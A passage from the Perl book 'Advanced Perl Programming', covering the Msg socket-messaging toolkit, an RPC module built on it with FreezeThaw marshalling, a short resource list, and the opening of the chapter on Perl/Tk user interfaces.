Msg->event_loop();

The connect method takes a reference to a subroutine exactly like new_server. event_loop sends queued outgoing messages when the connection becomes writable, and is responsible for dispatching incoming messages to corresponding local subroutines (deferred receive). Note that if a client wants to use deferred messages, it has to call event_loop.

Do you see the lines between a "client" and "server" blurring? Both have event loops (although the client requires it only for deferred messages) and respond to incoming messages. In a traditional client/server setup such as a database connection, the client initiates the conversation (connect) and asks the questions. The server never initiates a request. In a peer-peer setup, as in a telephone conversation, one process initiates the conversation, but once the connection is established, either process can send messages. Msg supports this peer-peer model.

Other filehandles can be incorporated into the event loop, like this:

Msg->set_event_handler (\*STDIN, "read" => \&kbd_input);

The process can now respond to keyboard events and still keep an ear out for incoming messages, or send outgoing queued messages in the "background."

All event-driven frameworks support timer events to periodically trigger a background task. If you have a time-consuming task, you are expected to split it up into more manageable pieces and use a timer (with a 0 second time-out) to trigger the next subtask. This way, you can keep returning to the event loop after every subtask is over and get a chance to process other messages that might have trickled in since then. Since this chapter is about networking, I have not taken the trouble to add timer support to Msg. It is a rather trivial addition, because select supports a millisecond resolution time-out facility.

13.1.1 Msg Implementation

Msg exhibits the public interface shown in Table 13.1.

Table 13.1: Msg's Public Interface

Method

Description

connect(host, port,
        [rcv_cb])

Connects to a server at the remote host and port and returns a connection object. rcv_callback is the reference to a user-defined subroutine, which is called as follows when the remote process sends a message (at any time):

    rcv_callback($conn, $msg, $err)

conn is the connection object, used to send messages or issue a disconnect. msg is the received message; it is undef if the connection is closed on the other side. (Msg automatically closes the connection on this side if this happens.) err, if present, contains the last error value on a sysread.

$conn->send_now($msg)

Sends the message right away and blocks if it needs to. If there are queued messages, it sends them first before attempting to send msg.

$conn->send_later($msg)

Puts the message in a queue associated with the connection object and leaves it to event_loop (described later) to dispatch it when the socket becomes writable. That is, you have to call event_loop at some point; otherwise, the message never goes out.

$conn->disconnect()

Closes the connection.

($msg, $err) =
    $conn->rcv_now()

Blocks until it receives a full message. It does not call the callback function given to connect. In a scalar context, it returns only the message; otherwise it returns the error code, if any.

new_server($thishost,
           $thisport,
           [login_proc])

A static method that creates a listening socket at thishost, thisport. When a remote socket attempts to connect, login_proc is called with the connection object and the connecting host and port as arguments. If login_proc returns undef, the connection is closed.

set_event_handler(
   $handle,
   ["read" => rd_cb],
   ["write" => wt_cb])

handle can be a socket, file, or pipe handle, or a derivative of IO::Handle. The callbacks are called by event_loop when the corresponding file descriptors become ready for reading or writing. A callback value of undef removes existing registered callbacks. Only one callback of a type can be registered for a given handle.

event_loop ([count])

Executes the select loop count times (infinite, by default). This loop quits if no handles are registered with the event loop. Look at RPC for an example of how count is used.

The Msg implementation is divided into four logical parts:

  • Send routines. For connecting to a remote process and sending messages to it.

  • Receive routines. For receiving notification when a message or a connection request comes in.

  • Support for nonblocking I/O. Routines to make a socket blocking or non-blocking if the platform supports the POSIX module.

  • Event loop support. For dispatching file-related events.

Let's start with the send-side routines:

package Msg;
use strict;
use IO::Select;
use IO::Socket;
use Carp;
use vars qw(%rd_callbacks %wt_callbacks $rd_handles $wt_handles);
%rd_callbacks = ();
%wt_callbacks = ();
$rd_handles   = IO::Select->new();
$wt_handles   = IO::Select->new();
my $blocking_supported = 0;

13.1.1.1 Msg: Send-side routines

sub connect {
    my ($pkg, $to_host, $to_port,$rcvd_notification_proc) = @_;
    # Create a new internet socket
    my $sock = IO::Socket::INET->new (
                                      PeerAddr => $to_host,
                                      PeerPort => $to_port,
                                      Proto    => 'tcp');

    return undef unless $sock;
    # Create a connection end-point object
    my $conn = bless {
        sock                   => $sock,
        rcvd_notification_proc => $rcvd_notification_proc,
    }, $pkg;

    if ($rcvd_notification_proc) {
        # Bundle _rcv and $conn together in a closure
        my $callback = sub {_rcv($conn)};
        set_event_handler ($sock, "read" => $callback);
    }
    $conn;
}

connect sets up a client socket and creates the connection object mentioned earlier. The connection object is a communications endpoint and has the following attributes:

sock

The socket connection

rcvd_notification_proc

A callback function to call on receipt of a message

queue

A reference to a list of buffered messages

send_offset

In nonblocking mode, Msg allows partial writes. If the socket blocks, we note down how much of the topmost message in the queue we have already sent.

msg

In nonblocking mode, msg contains a partial incoming message...

bytes_to_read

....and bytes_to_read contains the bytes still expected.

Once the connection is established, each side can use its local connection object to talk to the other side.

If the user specifies a callback ($rcvd_notification_proc), we set up our event handler to call a private routine _rcv, which in turn calls this callback when an entire message has been received:

sub disconnect {
    my $conn = shift;
    my $sock = delete $conn->{sock};
    return unless defined($sock);
    set_event_handler ($sock, "read" => undef, "write" => undef);
    close($sock); undef $!; # Should ideally process errors from close
}

sub send_now {
    my ($conn, $msg) = @_;
    _enqueue ($conn, $msg);
    $conn->_send (1); # 1 ==> flush
}

send_now enqueues the message and tells _send to flush this message and other previous messages hanging around in the queue, if any.

sub send_later {
    my ($conn, $msg) = @_;
    _enqueue($conn, $msg);
    my $sock = $conn->{sock};
    return unless defined($sock);
    set_event_handler ($sock, "write" => sub {$conn->_send(0)});
}

send_later enqueues the message and registers a "write" callback. This is invoked later on when event_loop is called, and the file descriptor is writable.

sub _enqueue {
    my ($conn, $msg) = @_;
    # prepend length (encoded as network long)
    my $len = length($msg);
    $msg = pack ('N', $len) . $msg;
    push (@{$conn->{queue}}, $msg);
}

_enqueue prepends each message with a length and pushes it into a queue associated with the connection. The length is encoded as a "network-independent long" (a 32-bit number) so that the receiving side knows to read exactly four bytes to obtain this length. As was mentioned earlier, the message itself is assumed to be independent of byte-ordering issues.

sub _send {
    my ($conn, $flush) = @_;
    my $sock = $conn->{sock};
    return unless defined($sock);
    my ($rq) = $conn->{queue};   # rq -> ref. to queue.

    # If $flush is set, set the socket to blocking, and send all
    # messages in the queue - return only if there's an error
    # If $flush is 0 (deferred mode) make the socket non-blocking, and
    # return to the event loop only after every message, or if it
    # is likely to block in the middle of a message.

    $flush ? $conn->set_blocking() : $conn->set_non_blocking();
    my $offset = (exists $conn->{send_offset}) ? $conn->{send_offset} : 0;
    while (@$rq) {
        my $msg            = $rq->[0];
        my $bytes_to_write = length($msg) - $offset;
        my $bytes_written  = 0;
        while ($bytes_to_write) {
            $bytes_written = syswrite ($sock, $msg,
                                       $bytes_to_write, $offset);
            if (!defined($bytes_written)) {
                if (_err_will_block($!)) {
                    # Should happen only in deferred mode. Record how
                    # much we have already sent.
                    $conn->{send_offset} = $offset;
                    # Event handler should already be set, so we will
                    # be called back eventually, and will resume sending
                    return 1;
                } else {    # Uh, oh
                    $conn->handle_send_err($!);
                    return 0; # fail. Message remains in queue ..
                }
            }
            $offset         += $bytes_written;
            $bytes_to_write -= $bytes_written;
        }
        delete $conn->{send_offset};
        $offset = 0;
        shift @$rq;
        last unless $flush; # Go back to select and wait
                            # for it to fire again.
    }
    # Call me back if queue has not been drained.
    if (@$rq) {
        set_event_handler ($sock, "write" => sub {$conn->_send(0)});
    } else {
        set_event_handler ($sock, "write" => undef);
    }
    1;  # Success
}

_send does the real work of sending the message and is called either directly from send_now or as a callback from the event loop. If called from send_now, it sets the socket to blocking mode and flushes all messages in the queue. If called from the event loop, it sets the socket to nonblocking mode and flushes at most one message at a time before returning to the event loop. This way, other connections get their share of time. If syswrite says it will block, _send notes down how much of the message has already been sent (in the send_offset attribute) and returns to the event loop. In all cases, it accounts for the fact that syswrite might write only a part of the buffer.

sub handle_send_err {
   # For more meaningful handling of send errors, subclass Msg and
   # rebless $conn.
   my ($conn, $err_msg) = @_;
   warn "Error while sending: $err_msg \n";
   set_event_handler ($conn->{sock}, "write" => undef);
}

This is a wishy-washy error-handling procedure that doesn't do anything other than turn off the event loop notification. It does not touch the connection object in any way, so you can potentially resume from where you left off. To do this, you must override this method in an inherited class (look at the RPC module described later, for an example).

13.1.1.2 Msg: Receive-side routines

The procedures in this section implement the listening side:

my ($g_login_proc, $g_pkg); # The prefix g_ stands for global
my $main_socket = 0;
sub new_server {
    @_ == 4 || die "new_server (myhost, myport, login_proc)\n";
    my ($pkg, $my_host, $my_port, $login_proc) = @_;

    $main_socket = IO::Socket::INET->new (
                                          LocalAddr => $my_host,
                                          LocalPort => $my_port,
                                          Listen    => 5,
                                          Proto     => 'tcp',
                                          Reuse     => 1);
    die "Could not create socket: $! \n" unless $main_socket;
    set_event_handler ($main_socket, "read" => \&_new_client);
    $g_login_proc = $login_proc; $g_pkg = $pkg;
}

new_server is somewhat similar to connect. It creates a listening socket and registers the user-defined login procedure with the event handler. (Client programs that have no wish to send or receive deferred messages don't need to call new_server or event_loop.) This login procedure will not be called until the server calls event_loop and a connection request comes in. Unlike connect, new_server doesn't create a connection object yet; that is the job of _new_client:

sub _new_client {
    my $sock = $main_socket->accept();
    my $conn = bless {
        'sock' =>  $sock,
        'state' => 'connected'
    }, $g_pkg;
    my $rcvd_notification_proc = &$g_login_proc ($conn);
    if ($rcvd_notification_proc) {
        $conn->{rcvd_notification_proc} = $rcvd_notification_proc;
        my $callback = sub {_rcv($conn)};
        set_event_handler ($sock, "read" => $callback);
    } else {  # Login failed
        $conn->disconnect();
    }
}

_new_client is called when a connection request is received. After doing an accept, it gives the user-defined login procedure a chance to accept or reject the connection. If the login procedure accepts the request, it returns a reference to a subroutine. This code reference is promptly associated with the newly created connection object and will be called when a message arrives on that connection. _rcv is registered as the standard callback to process all incoming messages (for all connections) and accumulates an entire message before calling the code reference mentioned above.

sub _rcv {                     # Complement to _send
    my ($conn, $rcv_now) = @_; # $rcv_now complement of $flush
    # Find out how much has already been received, if at all
    my ($msg, $offset, $bytes_to_read, $bytes_read);
    my $sock = $conn->{sock};
    return unless defined($sock);
    if (exists $conn->{msg}) {
        $msg           = $conn->{msg};
        delete $conn->{'msg'};              # Have made a copy.
        $offset        = length($msg) - 1;  # sysread appends to it.
        $bytes_to_read = $conn->{bytes_to_read};
    } else {
        # The typical case ...
        $msg           = "";                # Otherwise -w complains
        $offset        = 0 ;
        $bytes_to_read = 0 ;                # Will get set soon
    }
    # We want to read the message length in blocking mode. Quite
    # unlikely that we'll get blocked too long reading 4 bytes
    if (!$bytes_to_read)  {                 # Get new length
        my $buf;
        $conn->set_blocking();
        $bytes_read = sysread($sock, $buf, 4);
        if ($! || ($bytes_read != 4)) {
            goto FINISH;
        }
        $bytes_to_read = unpack ('N', $buf);
    }
    $conn->set_non_blocking() unless $rcv_now;
    while ($bytes_to_read) {
        $bytes_read = sysread ($sock, $msg, $bytes_to_read, $offset);
        if (defined ($bytes_read)) {
            if ($bytes_read == 0) {
                last;
            }
            $bytes_to_read -= $bytes_read;
            $offset        += $bytes_read;
        } else {
            if (_err_will_block($!)) {
                # Should come here only in non-blocking mode
                $conn->{msg}           = $msg;
                $conn->{bytes_to_read} = $bytes_to_read;
                return ; # .. to event loop; _rcv will be called
                         # later when socket is readable again.
            } else {
                last;
            }
        }
    }
    # Message successfully read.
  FINISH:
    if (length($msg) == 0) {
        $conn->disconnect();
    }
    if ($rcv_now) {
        return ($msg, $!);
    } else {
        &{$conn->{rcvd_notification_proc}}($conn, $msg, $!);
    }
}

_read is the complement to _send and does the grunt work of reading from a socket. Unlike _send, it does not know how much data it is going to deal with, but does know that the first four bytes of any message contain the encoded length (of the rest of the message). To simplify matters, it sets the mode to blocking before attempting to read these four bytes with the (reasonable) hope that if it blocks at all, it wouldn't be for too long. Once the length has been decoded, it sets the mode back to nonblocking, if required, and proceeds to read the socket. Like _send, it accounts for the fact that sysread may return less data than asked for, or it might return an error saying it may block. If the socket will block, _rcv copies the partial message into the connection object, notes down the number of bytes still left to read, and returns, waiting for it to be triggered by the event loop again. If there's an error, it disconnects the connection automatically.

sub rcv_now {
    my ($conn) = @_;
    my ($msg, $err) = _rcv ($conn, 1); # 1 means receive immediately
    return wantarray ? ($msg, $err) : $msg;
}

13.1.1.3 Msg: Support for nonblocking I/O

BEGIN {
    eval {
        require POSIX; POSIX->import(qw(F_SETFL O_NONBLOCK EAGAIN));
    };
    $blocking_supported = 1 unless $@;
}

BEGIN tests to see whether it can load the POSIX module and, if so, sets $blocking_supported, which is used by the following routines:

sub _err_will_block {
    if ($blocking_supported) {
        return ($_[0] == EAGAIN());
    }
    return 0;
}
sub set_non_blocking {
    if ($blocking_supported) {
        # preserve other fcntl flags
        my $flags = fcntl ($_[0], F_GETFL(), 0);
        fcntl ($_[0], F_SETFL(), $flags | O_NONBLOCK());
    }
}
sub set_blocking {
    if ($blocking_supported) {
        my $flags = fcntl ($_[0], F_GETFL(), 0);
        $flags  &= ~O_NONBLOCK(); # Clear blocking, but preserve others
        fcntl ($_[0], F_SETFL(), $flags);
    }
}

set_blocking and set_non_blocking both call fcntl as explained in the last chapter. The F_SETFL sets the file descriptor's flags to the bitmask you supplied, so we take care not to obliterate the flags that may already have been set.

13.1.1.4 Msg: Event loop routines

The event loop support routines use IO::Select to manage collections of filehandles and socket handles. The send and receive side routines described earlier call these routines, but because these procedures do not make any assumptions about who is calling them, they are at a logically lower level. This means that for this module to coexist with another event-driven toolkit, you will just have to rewrite the routines shown below (while preserving the interface). For example, to make Msg work with Tk, you can have set_event_handler (described below) simply delegate its functionality to an equivalent Tk procedure called fileevent (described in Section 14.1, "Introduction to GUIs, Tk, and Perl/Tk"); similarly, event_loop can simply call Tk's run method, instead of calling IO::Select.

sub set_event_handler {
    shift unless ref($_[0]); # shift if first arg is package name
    my ($handle, %args) = @_;
    my $callback;
    if (exists $args{'write'}) {
        $callback = $args{'write'};
        if ($callback) {
            $wt_callbacks{$handle} = $callback;
            $wt_handles->add($handle);
        } else {
            delete $wt_callbacks{$handle};
            $wt_handles->remove($handle);
        }
    }
    if (exists $args{'read'}) {
        $callback = $args{'read'};
        if ($callback) {
            $rd_callbacks{$handle} = $callback;
            $rd_handles->add($handle);
        } else {
            delete $rd_callbacks{$handle};
            $rd_handles->remove($handle);
       }
    }
}

set_event_handler simply keeps track of read and write callbacks by using the handle as a hash index. To remove a callback, you call set_event_handler with a callback value of undef:

sub event_loop {
    my ($pkg, $loop_count) = @_;
    my ($conn, $r, $w, $rset, $wset);
    while (1) {
        # Quit the loop if no handles left to process
        last unless ($rd_handles->count() || $wt_handles->count());
        ($rset, $wset) =
            IO::Select->select ($rd_handles, $wt_handles,
                                undef, undef);
        foreach $r (@$rset) {
            &{$rd_callbacks{$r}} ($r) if exists $rd_callbacks{$r};
        }
        foreach $w (@$wset) {
            &{$wt_callbacks{$w}}($w) if exists $wt_callbacks{$w};
        }
        if (defined($loop_count)) {
            last unless --$loop_count;
        }
    }
}

event_loop is normally an infinite loop but can be instructed to cycle a limited number of times. The idea of giving this a loop count is to be able to dispatch other events without forfeiting control to an infinite loop. Take a look at the RPC implementation, described in the following section, which uses a count of 1 to dispatch messages in a controlled fashion.

Previous: 12.7 Resources | Advanced Perl Programming | Next: 13.2 Remote Procedure Calls (RPC)
12.7 Resources | Book Index | 13.2 Remote Procedure Calls (RPC)


[Chapter 13] 13.2 Remote Procedure Calls (RPC)

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

13.2 Remote Procedure Calls (RPC)

In this section, we use the Msg library to implement a Remote Procedure Call module, RPC.pm. The idea of RPC is to transparently invoke a subroutine in another process space and have it behave exactly as if it had been invoked in its own process. The following are the features we take for granted while calling ordinary subroutines, which the RPC module takes into account:

Synchronicity

The caller waits until the called procedure finishes. The RPC module invokes Msg::send_now and Msg::rcv_now to get this blocking behavior.

Parameters

A Perl subroutine can take any number of parameters of any type (including references to objects, complex data structures, and subroutines). The RPC module uses the FreezeThaw module described in Chapter 10, Persistence, for marshalling parameters: all parameters are flattened and encoded into a single string (frozen) and recovered on the other side (thawed). This means that all data structures sent by reference are copied in their entirety so that the receiving subroutine on the other side can get a reference to an object (as it would if it were in the same process). FreezeThaw - and hence RPC - does not account for code references, because there is no way (in Perl) to decode a code reference and get the subroutine text (because it could be compiled into machine code). We could create a dummy subroutine on the remote side and have it make a nested RPC invocation back to the real code reference, but the current implementation does not have this feature (though it doesn't preclude it).

Context

A subroutine can use wantarray to find out whether the caller is specifying a list or scalar context. The fact that the subroutine is being called from a remote process should not be an issue. The RPC module arranges the necessary transparency. Another example of context (not to be confused with the Perl meaning of the word) is the caller's package. When you say foo(), you mean foo() in the current package.

Exceptions

A subroutine can invoke die, and expect its caller to trap it. The receiving side of RPC invokes the target subroutine inside an eval, and if it dies, it sends a message back to the calling process, which in turn invokes a die in its own space with the error received.

Mutual recursion

Subroutine A can call subroutine B, which in turn can call A - they are said to be mutually recursive. RPC allows this because of its ability to process incoming messages while it is blocked on a send.

No deadlocks

Traditional RPC systems are subject to deadlocks if two peer processes decide to call each other at the same time, because as we saw in Chapter 12, they are too impolite to listen to what the other is saying. Not so with RPC. In fact, it can dispatch incoming messages on all file descriptors while, from the caller's perspective, it is still blocked.

No code generation

Typical RPC systems generate client and server stub code, but RPC does not need to - a tribute to the dynamic aspects of Perl.

13.2.1 Using RPC

Let us take a look at a sample use of the RPC module. The client is shown first:

# Client stuff
use RPC;
my $conn = RPC->connect($host, $port);
my $answer = $conn->rpc('ask_sheep',
                        "Ba ba black sheep, have you any wool ?");
print "$answer\n";

The client sets up an RPC connection, given a host and port. A subroutine that is normally invoked as

$answer = ask_sheep ($question);

is invoked by using RPC as follows:

$answer = $conn->rpc ("ask_sheep", $question);

The client code knows it is making an RPC call. Making this transparent (as typical RPC systems do) is quite simple, really. Using eval, we can dynamically create a dummy client stub called ask_sheep on the caller's side and have it make the call to rpc().

The called subroutine, however, does not know whether it has been invoked locally or from a remote process (unless of course, it uses caller() to find out).

The remote process (call it the RPC server) provides the required subroutines and invokes new_server and event_loop to accept incoming RPC calls; ask_sheep will get called at the right time. Simple!

# Server stuff
RPC->new_rpc_server($host, $port);
RPC->event_loop();

sub ask_sheep {  # Sample subroutine to be invoked from client
    print "Question: @_\n";
    return "No";
}

Now, let us look at an example of using RPC between peer processes. Process 1 (identified by $host1, $port1) calls subroutine two on Process 2 ($host2, $port2), which in turn calls subroutine one back on Process 1.

Process 1 looks like this:

sub one {
    print "One called\n";
}
$conn2 = RPC->new_rpc_server($host2, $port2);
$conn2->rpc ("two");

Process 2 looks like this:

sub two {
    print "Two called\n";
}
$conn1 = RPC->new_rpc_server($host1, $port1);
$conn1->rpc ("one");

Each process calls new_rpc_server to establish a listening port. Since the rpc call listens to incoming messages while it is still sending stuff out, neither process needs to call event_loop explicitly. A process that intends to hang around for a while should, of course, do so.

13.2.2 RPC: Implementation

The RPC implementation is surprisingly small, thanks to the Msg and FreezeThaw modules. It inherits from Msg to provide the same connection and event loop abstractions.

Let us examine the calling side first:

package RPC;
use Msg;
use strict;
use Carp;
@RPC::ISA = qw(Msg);
use FreezeThaw qw(freeze thaw);

sub connect {
   my ($pkg, $host, $port) = @_;
   my $conn = $pkg->SUPER::connect($host,$port, \&_incoming_msg);
   return $conn;
}

connect simply calls Msg's connect, with _incoming_msg as the subroutine to notify on all incoming messages (including responses to subroutine calls and end-of-file indications). It leaves it to Msg's connect to create a connection object and bless it under RPC's auspices. Both Msg and RPC have been written so that they can be inherited by another module; the package name is not hardcoded.

my $g_msg_id = 0;
my $send_err = 0;
sub handle_send_err {
   $send_err = $!;
}

handle_send_err overrides Msg::handle_send_err and stores any errors encountered while sending a message. This error code is checked in rpc, as shown next. The error handling in both RPC and Msg is definitely not up to snuff and needs a considerable amount of work before it can be reliably used in a production application.

sub rpc {
    my $conn = shift;
    my $subname = shift;

    $subname = (caller() . '::' . $subname) unless $subname =~ /:/;
    my $gimme = wantarray ?  'a' : 's';  # Array or scalar
    my $msg_id = ++$g_msg_id;
    my $serialized_msg = freeze ('>', $msg_id, $gimme, @_);
    # Send and Receive
    $conn->send_later ($serialized_msg);
    do {
        Msg->event_loop(1); # Dispatch other messages until we
                            # get a response
    } until (exists $conn->{rcvd}->{$msg_id} || $send_err);
    if ($send_err) {
       die "RPC Error: $send_err";
    }

    # Dequeue message.
    my $rl_retargs = delete $conn->{rcvd}->{$msg_id}; # ref to list
    if (ref($rl_retargs->[0]) eq 'RPC::Error') {
        die ${$rl_retargs->[0]};
    }
    wantarray ? @$rl_retargs : $rl_retargs->[0];
}

rpc uses the FreezeThaw module's freeze method to bundle the following pieces of information into one big string:

  • Name of the remote subroutine. The caller's module is prepended to the subroutine name if it is not fully qualified, which is the behavior expected of a normal subroutine.

  • Parameters to the subroutine.

  • wantarray indicator ($gimme): "s" for scalar, "a" for array.

  • Request or response indicator. ">" indicates request, and "<" indicates response. When the receiver gets a message, it should know whether it is a response to an outgoing message or an incoming request that it is expected to evaluate.

  • A message identifier. This is to identify the response corresponding to this request.

The freeze method accounts for cyclic data structures and objects and returns one ASCII string, which means that we don't have to worry about the size of native integers or doubles or their memory layout (byte order). Msg->send_later() is used because it triggers nonblocking I/O where available. The message is really sent only when event_loop is called, because it determines when the socket is writable. At the same time, event_loop tracks other incoming messages and dispatches them. The count of 1 forces the event loop to return right after dispatching one round of messages, so we can retain control. When the response comes from the remote host, event_loop calls _incoming_msgs, which decodes it and hangs the return arguments on the connection object. Read on.

Let us now take a look at the receiving side:

sub new_server {
    my ($pkg, $my_host, $my_port) = @_;
    $pkg->SUPER::new_server($my_host, $my_port,
                            sub {$pkg->_login(@_)});
}
sub _login {
    \&_incoming_msg;
}

new_server, like connect, is a simple wrapper over its Msg counterpart. All incoming connections are unconditionally accepted by default, and messages are directed towards the subroutine _incoming_msg, shown next. Calling the _login procedure indirectly via $pkg gives you the opportunity to subclass RPC and supply your own _login procedure and refuse the connection if needed.

sub _incoming_msg {
    my ($conn, $msg, $err) = @_;
    return if ($err);   # Need better error handling.
    return unless defined($msg);
    my ($dir, $id, @args) = thaw ($msg);
    my ($result, @results);
    if ($dir eq '>') {
        # New request message
        my $gimme = shift @args;
        my $sub_name = shift @args;
        eval {
            no strict 'refs';  # Because we call the subroutine using
                               # a symbolic reference
            if ($gimme eq 'a') {  # Want an array back
                @results = &{$sub_name} (@args);
            } else {
                $result = &{$sub_name} (@args);
            }
        };
        if ($@) {
            $msg = bless \$@, "RPC::Error";
            $msg = freeze('<', $id, $msg);
        } elsif ($gimme eq 'a') {
            $msg = freeze('<', $id, @results);
        } else {
            $msg = freeze('<', $id, $result);
        }
        $conn->send_later($msg);
    } else {
        # Response to a message we had sent out earlier
        $conn->{rcvd}->{$id} = \@args;
    }
}

_incoming_msg is the counterpart to the rpc method. It unpacks the message sent by rpc and checks the direction (whether it is a request or a response). If it is a request, it calls the required subroutine using a symbolic reference. Notice that depending on the wantarray indication, it provides a scalar or vector result parameter. If eval reports an error, the $@ variable is stamped with an RPC::Error module tag and shipped back to the calling process (which invokes die).

Previous: 13.1 Msg: Messaging Toolkit | Advanced Perl Programming | Next: 13.3 Resources
13.1 Msg: Messaging Toolkit | Book Index | 13.3 Resources


[Chapter 13] 13.3 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

13.3 Resources

The following resources have useful information on messaging and RPC:

  1. EventServer

    EventServer, available on CPAN, provides a replacement for Msg's event_loop procedure and supports callbacks for file and time-out events.

  2. Unix Network Programming. W. Richard Stevens. Prentice-Hall, 1990.

  3. Advanced Programming in the Unix Environment. W. Richard Stevens. Prentice-Hall, 1992.

  4. "A Note on Distributed Computing." Jim Waldo, Geoff Wyant, Ann Wollrath, and Sam Kendall. Available at http://www.sunlabs.com/techrep/1994/abstract-29.html (Technical Report TR-94-29).

    A very well-written report on the problems associated with RPC (the concept) and distributed computing in general. (In fact, other technical reports at SUN's research labs also make for good reading.)

Previous: 13.2 Remote Procedure Calls (RPC) | Advanced Perl Programming | Next: 14. User Interfaces with Tk
13.2 Remote Procedure Calls (RPC) | Book Index | 14. User Interfaces with Tk


[Chapter 14] User Interfaces with Tk

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 13.3 Resources Chapter 14 Next: 14.2 Starting with Perl/Tk

14. User Interfaces with Tk

Contents:
Introduction to GUIs, Tk, and Perl/Tk
Starting with Perl/Tk
Widget Tour
Geometry Management
Timers
Event Bindings
Event Loops
Resources

Programming the X Window System is like trying to find the square root of pi using Roman numerals.

- Anonymous

In this chapter, we learn how to build graphical user interfaces (GUIs) using one of the most feature-rich and professional-looking toolkits around: the Tk toolkit [4]. We start with a brief tour of most of the Tk widgets as well some of the Tix extension and then learn about geometry management (how to arrange widgets on a form). Next, we briefly examine Perl's support for timers, used extensively in Chapter 15, GUI Example: Tetris. We then cover event bindings, which allow us to map arbitrary combinations of mouse and keyboard events to callbacks. Finally, we deal with event loop issues similar to the ones we studied in Chapter 12, Networking with Sockets.

For the sake of simplicity, this chapter presents small snippets of code to illustrate the widgets and other Tk features in relative isolation; we will rely on the next two chapters to cut a broad swath through all these aspects and to apply them to practical problems.

While we are on the subject of building user interfaces, please do yourself (and your users) a favor by reading Alan Cooper's[1] excellent and refreshingly opinionated book, About Face: The Essentials of User Interface Design [6].

[1] Called the "father of Visual Basic."

14.1 Introduction to GUIs, Tk, and Perl/Tk

At the most basic level, all windowing platforms (Apple Macintosh, X Windows, and Microsoft Windows) are very simple. They provide a low-level API to create and manage windows, to report interesting events such as mouse and keyboard events, and to draw graphical elements such as lines, circles, and bitmaps. The problem is that drawing even a simple form takes a considerable amount of code and reading thousands of pages of documentation (literally).

Often-used patterns of GUI code have evolved into widgets (called "controls" in the Microsoft Windows world); examples include buttons, scrollbars, and listboxes. Building a GUI is now a simple matter of launching an interactive form designer and dragging and dropping these ready-made components into a layout of your choice. Object-oriented programming has never been easier.

It turns out that widgets and scripting languages are a perfect match. Widgets have simple interfaces, and form-based GUIs are not performance-critical. Both of these attributes make GUIs a very fertile ground for scripting. Combine that with the fact that GUIs need the most configurability (because that's the part of the application the user deals with, and for the most part, the GUI is the application), and you can understand the enormous popularity of tools such as Visual Basic, PowerBuilder, and Hypercard.

On Unix systems, X Windows has been the windowing platform of choice. Several widget toolkits have been built over X: Athena, InterViews, Motif, and Tk. For professional good looks, ease of use, and documentation, you can't beat Tk. To top it all, it is free!

Unlike other widget toolkits, Tk was developed expressly to be driven by a scripting language: Tcl.[2] Indeed, it can be argued that Tk is the chief reason for Tcl's popularity. There are a lot of people who don't like Tcl as a scripting language but love Tk, and have attempted to adapt it to their favorite scripting language - Scheme, Python, Guile, and, of course, Perl. Malcolm Beattie made the initial attempt to provide a Perl layer that internally used the Tcl interpreter to reach the Tk library.

[2] Both Tcl and Tk were developed by Dr. John Ousterhout, then at the University of California, Berkeley, and now at Sun Microsystems. See http://www.scriptics.com/scripting/.

Nick Ing-Simmons tried a more ambitious approach: he purged Tk of all embedded Tcl code and gave it a generic porting layer to make it easy to add other scripting languages; this effort is called pTk (portable Tk). To this, he added a Perl5 wrapper (with the intention of adding other language wrappers in the future). This combination of pTk and the Perl wrapper module Tk.pm, referred to as Perl/Tk, is the subject of this chapter.

Meanwhile, Dr. Ousterhout's team at Sun ported both Tcl and Tk to Microsoft Windows and the Mac, and the Perl/Tk combination has followed suit fairly closely. Other portable GUI options are Tcl/Tk, of course, and Python/Tk (which does not rely on pTk). Microsoft is porting its ActiveX (formerly OLE) and VBA (Visual Basic for Applications) to the Unix environment, so they might be formidable competition soon. The VB toolkit itself doesn't come anywhere close to Perl and Tk's functionality, but the development environment and third-party support is unbeatable. We live in interesting times!

Several new professional-looking widgets have been added to Tk in the form of an extension library called Tix, developed by Ioi Kim Lam. These include balloons (for help messages), notebooks, and spreadsheet-like grid widgets. The good news is that the Perl/Tk distribution contains a Perl layer over this effort also.

Previous: 13.3 Resources | Advanced Perl Programming | Next: 14.2 Starting with Perl/Tk
13.3 Resources | Book Index | 14.2 Starting with Perl/Tk


[Chapter 14] 14.2 Starting with Perl/Tk

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

14.2 Starting with Perl/Tk

All user interfaces developed with Perl/Tk follow this general sequence:

  1. Create a main window (also known as the top-level window).

  2. Instantiate one or more widgets, configure them, and arrange them inside the main window. A widget is simply a collection of data and methods that produce some visible element of the interface, like a button or listbox, and make it behave properly when clicked or otherwise manipulated.

  3. Start the event loop. After this, the user's actions (events) determine what the program does.

Example 14.1 shows these steps executed in serial order; they result in the simple GUI[3] shown in Figure 14.1.

[3] Though there's nothing interactive about it - nothing much graphical either, actually.

Example 14.1: Simple UI Code

use Tk;                                          # Slurp the module in.
# -------------------------------------------------------
# Create a main window
# -------------------------------------------------------
$top = MainWindow->new();
$top->title ("Simple");
# -------------------------------------------------------
# Instantiate widgets and arrange them
# -------------------------------------------------------
$l = $top-->Label(text   => 'hello',            # label properties
                 anchor => 'n',                 # anchor text to "north"
                 relief => 'groove',            # border style
                 width  =>  10, height => 3);  # 10 chars wide, 3 high.

$l->pack();      # Give it a default place within the main window
# -------------------------------------------------------
# Sit in an infinite loop dispatching incoming events.
# -------------------------------------------------------
MainLoop();

Figure 14.1: Our first Perl/TK screen

This example captures a number of significant Tk concepts (and those of most GUI toolkits in general).

The main window is the outermost shell and contains the resize handles, system menu, and minimize and maximize boxes (also known as decorations). An application can have any number of main windows.

The main window is then asked to create a label widget with preconfigured properties. You can change your mind about a widget's properties by invoking the configure method on it:

$label->configure (text => 'foobar', foreground => 'red');

Some widgets, such as Frame and Notebook, are themselves capable of containing other widgets, so the widget hierarchy can be arbitrarily nested. A main window is always at the root of the hierarchy.

The widget's pack method is then called to do geometry management: the scheme for allocating the position and the width and height for the widget. This call is simply delegated to the widget's container, the main window, which calculates the amount of screen real estate to apportion to each contained widget. This is akin to saying "socks->pack" and having the suitcase figure out where to put the socks and how much to bunch them up.

Packing is only one of many geometry management schemes available for placing widgets around. Tk supplies a grid geometry manager and a placer ; we'll study both in the section "Geometry Management" later in this chapter.

You can create and pack a widget in one fell swoop, like this:

$l = $top->Label (text => 'Oh my')->pack();

In most cases, you don't even need to capture the return value unless you plan to invoke methods on that widget later. The typical approach is to set up all the parameters at creation time and call MainLoop. We will use this style extensively in this book.

